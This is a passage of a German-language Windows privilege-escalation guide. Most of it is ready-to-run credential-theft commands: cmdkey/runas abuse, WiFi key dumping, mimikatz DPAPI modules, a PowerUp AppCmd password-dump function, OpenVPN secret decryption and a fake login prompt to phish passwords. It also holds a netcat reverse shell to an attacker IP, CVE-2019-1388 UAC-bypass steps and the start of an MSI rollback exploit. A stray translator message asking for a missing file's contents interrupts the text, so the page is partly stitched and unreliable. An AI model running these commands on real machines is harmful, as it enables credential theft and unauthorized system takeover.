reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Anmeldeinformations-Manager / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen Windows die Benutzer automatisch anmelden kann. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter- oder Gmail-Anmeldedaten usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall.

Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen (Server oder eine Website) diesen Credential Manager nutzen kann & Windows Vault und die bereitgestellten Anmeldeinformationen verwenden kann, anstatt dass Benutzer ständig Benutzername und Passwort eingeben.

Wenn Anwendungen nicht mit dem Credential Manager interagieren, halte ich es für unwahrscheinlich, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden können. Wenn deine Anwendung also den Vault nutzen will, sollte sie auf irgendeine Weise mit dem Credential Manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern aus dem Standard-Speicher-Vault.

Verwende cmdkey, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dann können Sie runas mit der Option /savecred verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft ein entferntes Binary über einen SMB-Share auf.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Verwendung von runas mit einem bereitgestellten Satz von Anmeldeinformationen.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Beachte, dass mimikatz, lazagne, credentialfileview, VaultPasswordView, oder das Empire Powershells module verwendet werden können.

DPAPI

Die Data Protection API (DPAPI) bietet eine Methode zur symmetrischen Verschlüsselung von Daten und wird vorwiegend im Windows-Betriebssystem zur symmetrischen Verschlüsselung asymmetrischer privater Schlüssel verwendet. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beiträgt.

DPAPI ermöglicht die Verschlüsselung von Schlüsseln mittels eines symmetrischen Schlüssels, der aus den Login-Geheimnissen des Benutzers abgeleitet wird. In Szenarien mit Systemverschlüsselung verwendet es die Domänen-Authentifizierungsgeheimnisse des Systems.

Mit DPAPI verschlüsselte Benutzer-RSA-Schlüssel werden im Verzeichnis %APPDATA%\Microsoft\Protect{SID} gespeichert, wobei {SID} den Security Identifier des Benutzers repräsentiert. Der DPAPI-Schlüssel, zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers in derselben Datei schützt, besteht typischerweise aus 64 Bytes zufälliger Daten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, wodurch eine Auflistung seines Inhalts mit dem dir-Befehl in CMD verhindert wird, obwohl es über PowerShell aufgelistet werden kann).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Du kannst das mimikatz module dpapi::masterkey mit den entsprechenden Argumenten (/pvk oder /rpc) verwenden, um es zu entschlüsseln.

Die Credentials-Dateien, die durch das Master-Passwort geschützt sind, befinden sich normalerweise in:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Du kannst das mimikatz module dpapi::cred mit dem entsprechenden /masterkey zum Entschlüsseln verwenden.
Du kannst viele DPAPI masterkeys aus memory mit dem sekurlsa::dpapi module extrahieren (wenn du root bist).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials werden häufig für scripting und Automatisierungsaufgaben verwendet, um verschlüsselte credentials bequem zu speichern. Die credentials werden mit DPAPI geschützt, was typischerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können.

Um eine PS credentials aus der Datei, die sie enthält, zu decrypten, kannst du Folgendes tun:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

WLAN

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gespeicherte RDP-Verbindungen

Sie finden sie unter HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
und in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Zuletzt ausgeführte Befehle

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop-Anmeldeinformationsverwaltung

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Verwende das Mimikatz dpapi::rdg Modul mit dem passenden /masterkey, um beliebige .rdg-Dateien zu entschlüsseln\
Du kannst mit dem Mimikatz sekurlsa::dpapi Modul viele DPAPI masterkeys aus dem Speicher extrahieren

Sticky Notes

Viele Benutzer verwenden die StickyNotes-App auf Windows-Workstations, um Passwörter zu speichern und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite und es lohnt sich immer, danach zu suchen und sie zu untersuchen.

AppCmd.exe

Beachte, dass du Administrator sein und AppCmd.exe mit einem High Integrity level ausführen musst, um Passwörter wiederherzustellen.\
AppCmd.exe befindet sich im Verzeichnis %systemroot%\system32\inetsrv\.\
Wenn diese Datei existiert, ist es möglich, dass einige credentials konfiguriert wurden und wiederhergestellt werden können.

Dieser Code wurde aus PowerUP extrahiert:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Prüfe, ob C:\Windows\CCM\SCClient.exe existiert.
Installer werden run with SYSTEM privileges ausgeführt; viele sind anfällig für DLL Sideloading (Info von https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dateien und Registry (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host-Schlüssel

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in der Registry

SSH private keys können im Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys gespeichert werden, daher solltest du prüfen, ob sich dort etwas Interessantes befindet:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann jedoch mithilfe von https://github.com/ropnop/windows_sshagent_extract leicht entschlüsselt werden.
Mehr Informationen zu dieser Technik hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Wenn der ssh-agent-Dienst nicht läuft und Sie möchten, dass er beim Systemstart automatisch startet, führen Sie aus:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Es sieht so aus, als sei diese Technik nicht mehr gültig. Ich habe versucht, einige ssh keys zu erstellen, sie mit ssh-add hinzuzufügen und mich per ssh auf einer Maschine einzuloggen. Die Registry HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat bei der asymmetrischen Schlüssel-Authentifizierung keine Verwendung von dpapi.dll festgestellt.

Unbeaufsichtigte Dateien

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Sie können auch nach diesen Dateien mit metasploit suchen: post/windows/gather/enum_unattend

Beispielinhalt:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM-Sicherungen

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud-Zugangsdaten

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Zwischengespeichertes GPP-Passwort

Eine Funktion war früher verfügbar, die die Bereitstellung benutzerdefinierter lokaler Administrator-Konten auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da es Benutzern die Erlangung erhöhter Privilegien ermöglichen konnte.

Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien mit einem nicht-leeren "cpassword"-Feld scannt. Wird eine solche Datei gefunden, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details zur GPP und zum Speicherort der Datei und unterstützt so bei der Identifizierung und Behebung dieser Sicherheitslücke.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (vor Windows Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Um das cPassword zu entschlüsseln:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Mit crackmapexec die passwords abrufen:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Beispiel einer web.config mit Zugangsdaten:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN-Anmeldeinformationen

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Protokolle

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Nach credentials fragen

Du kannst den Benutzer immer bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben, wenn du denkst, dass er sie kennen könnte (beachte, dass das direkte Fragen des Clients nach den credentials wirklich riskant ist):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mögliche Dateinamen, die Anmeldeinformationen enthalten

Bekannte Dateien, die vor einiger Zeit Passwörter im Klartext oder Base64 enthalten haben

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Ich habe den Inhalt von src/windows-hardening/windows-local-privilege-escalation/README.md nicht. Bitte füge den Dateiinhalt hier ein oder gib genau an, welche Dateien/Begriffe ich in den vorgeschlagenen Dateien durchsuchen soll.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Anmeldeinformationen im Papierkorb

Du solltest außerdem den Papierkorb überprüfen, um darin enthaltene Anmeldeinformationen zu finden

Um Passwörter wiederherzustellen, die von verschiedenen Programmen gespeichert wurden, kannst du Folgendes verwenden: http://www.nirsoft.net/password_recovery_tools.html

In der Registry

Weitere mögliche Registry-Schlüssel mit Anmeldeinformationen

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browser-Verlauf

Du solltest nach dbs suchen, in denen Passwörter von Chrome or Firefox gespeichert sind.
Prüfe außerdem den Verlauf, Bookmarks und Favoriten der Browser — vielleicht sind dort einige passwords are gespeichert.

Tools zum Extrahieren von Passwörtern aus Browsern:

COM DLL Overwriting

Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die die Interkommunikation zwischen Softwarekomponenten in verschiedenen Sprachen ermöglicht. Jede COM-Komponente wird über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die über interface IDs (IIDs) identifiziert werden.

COM-Klassen und -Schnittstellen werden in der Registry unter HKEY\CLASSES\ROOT\CLSID bzw. HKEY\CLASSES\ROOT\Interface definiert. Diese Registry entsteht durch das Zusammenführen von HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Innerhalb der CLSIDs dieser Registry findest du den Unterschlüssel InProcServer32, der einen default value enthält, der auf eine DLL zeigt, sowie einen Wert namens ThreadingModel, der Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) oder Neutral (Thread Neutral) sein kann.

Im Grunde gilt: Wenn du eine der DLLs überschreiben kannst, die ausgeführt werden, könntest du Privilegien eskalieren, falls diese DLL von einem anderen Benutzer ausgeführt wird.

Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus verwenden, siehe:

COM Hijacking

Generic Password search in files and registry

Search for file contents

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Suche nach einer Datei mit einem bestimmten Dateinamen

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Durchsuche die Registry nach Schlüsselnamen und Passwörtern

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools, die nach passwords suchen

MSF-Credentials Plugin ist ein msf Plugin. Ich habe dieses Plugin erstellt, um automatisch jedes metasploit POST module auszuführen, das nach credentials sucht im Opfer.
Winpeas sucht automatisch nach allen Dateien, die passwords enthalten, die auf dieser Seite erwähnt werden.
Lazagne ist ein weiteres großartiges Tool, um passwords aus einem System zu extrahieren.

Das Tool SessionGopher sucht nach sessions, usernames und passwords mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Stell dir vor, dass ein Prozess, der als SYSTEM läuft, mit OpenProcess() einen Prozess öffnet und diesem volle Zugriffsrechte gibt. Der gleiche Prozess erstellt außerdem einen neuen Prozess (CreateProcess()) mit geringen Rechten, der jedoch alle offenen Handles des Hauptprozesses erbt.
Wenn du dann vollen Zugriff auf den gering privilegierten Prozess hast, kannst du das offene Handle auf den mit OpenProcess() geöffneten privilegierten Prozess übernehmen und Shellcode injizieren.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Gemeinsame Speichersegmente, sogenannte pipes, ermöglichen die Kommunikation zwischen Prozessen und den Datenaustausch.

Windows bietet die Funktion Named Pipes, mit der nicht verwandte Prozesse Daten austauschen können, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen named pipe server und named pipe client.

Wenn Daten durch eine Pipe von einem client gesendet werden, kann der server, der die Pipe eingerichtet hat, die Identität des client annehmen, vorausgesetzt, er besitzt die notwendigen SeImpersonate-Rechte. Das Identifizieren eines privilegierten Prozesses, der über eine Pipe kommuniziert, die du nachahmen kannst, bietet die Möglichkeit, durch Übernahme der Identität dieses Prozesses höhere Privilegien zu erlangen, sobald er mit der von dir erstellten Pipe interagiert. Anleitungen für die Durchführung eines solchen Angriffs findest du here und here.

Außerdem erlaubt das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: https://github.com/gabriel-sztejnworcel/pipe-intercept und dieses Tool erlaubt, alle Pipes aufzulisten und anzusehen, um privescs zu finden https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

Check out the page https://filesec.io/

Überwachung von Befehlszeilen auf Passwörter

Wenn man als Benutzer eine Shell erhält, können geplante Tasks oder andere Prozesse ausgeführt werden, die Zugangsdaten in der Befehlszeile übergeben. Das untenstehende Skript erfasst Prozess-Befehlszeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei es etwaige Unterschiede ausgibt.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Passwörter aus Prozessen stehlen

Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Wenn Sie Zugriff auf die grafische Oberfläche (über Konsole oder RDP) und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzerkontext heraus auszuführen.

Dies ermöglicht es, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Außerdem ist es nicht notwendig, etwas zu installieren, und die während des Vorgangs verwendete binary ist von Microsoft signiert und ausgestellt.

Einige der betroffenen Systeme sind die folgenden:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Sie haben alle notwendigen Dateien und Informationen im folgenden GitHub-Repository:

https://github.com/jas502n/CVE-2019-1388

Von Administrator Medium zu High Integrity Level / UAC-Bypass

Lesen Sie dies, um etwas über Integritätsstufen (Integrity Levels) zu lernen:

Integrity Levels

Lesen Sie dann dies, um etwas über UAC und UAC-Bypässe zu erfahren:

UAC - User Account Control

Von beliebigem Ordner-Löschen/Verschieben/Umbenennen zu SYSTEM EoP

Die in in this blog post beschriebene Technik mit einem Exploit-Code available here.

Der Angriff besteht im Wesentlichen darin, das Rollback-Feature des Windows Installer zu missbrauchen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen bösartigen MSI-Installer erstellen, der verwendet wird, um den C:\Config.Msi-Ordner zu kapern, welcher später vom Windows Installer zur Speicherung von Rollback-Dateien während der Deinstallation anderer MSI-Pakete verwendet wird, wobei die Rollback-Dateien so verändert wurden, dass sie die bösartige Payload enthalten.

Die zusammengefasste Technik ist wie folgt:

  1. Phase 1 – Vorbereitung der Übernahme (lassen Sie C:\Config.Msi leer)

  • Schritt 1: Installieren Sie das MSI

  • Erstellen Sie ein .msi, das eine harmlose Datei installiert (z. B. dummy.txt) in einem beschreibbaren Ordner (TARGETDIR).

  • Markieren Sie den Installer als "UAC Compliant", sodass ein Nicht-Admin-Benutzer ihn ausführen kann.

  • Halten Sie nach der Installation einen Handle auf die Datei offen.

  • Schritt 2: Beginnen Sie die Deinstallation

  • Deinstallieren Sie dasselbe .msi.

  • Der Deinstallationsprozess beginnt, Dateien nach C:\Config.Msi zu verschieben und sie in .rbf-Dateien (Rollback-Backups) umzubenennen.

  • Überwachen Sie den offenen Datei-Handle mit GetFinalPathNameByHandle, um zu erkennen, wann die Datei zu C:\Config.Msi\<random>.rbf wird.

  • Schritt 3: Benutzerdefinierte Synchronisation

  • Das .msi enthält eine benutzerdefinierte Deinstallationsaktion (SyncOnRbfWritten), die:

  • signalisiert, wenn die .rbf geschrieben wurde.

  • und dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird.

  • Schritt 4: Löschen der .rbf blockieren

  • Wenn signalisiert, öffnen Sie die .rbf-Datei ohne FILE_SHARE_DELETE — das verhindert, dass sie gelöscht wird.

  • Dann signalisieren Sie zurück, damit die Deinstallation beendet werden kann.

  • Windows Installer kann die .rbf nicht löschen, und da er nicht alle Inhalte löschen kann, wird C:\Config.Msi nicht entfernt.

  • Schritt 5: .rbf manuell löschen

  • Sie (der Angreifer) löschen die .rbf-Datei manuell.

  • Nun ist C:\Config.Msi leer und bereit zur Übernahme.

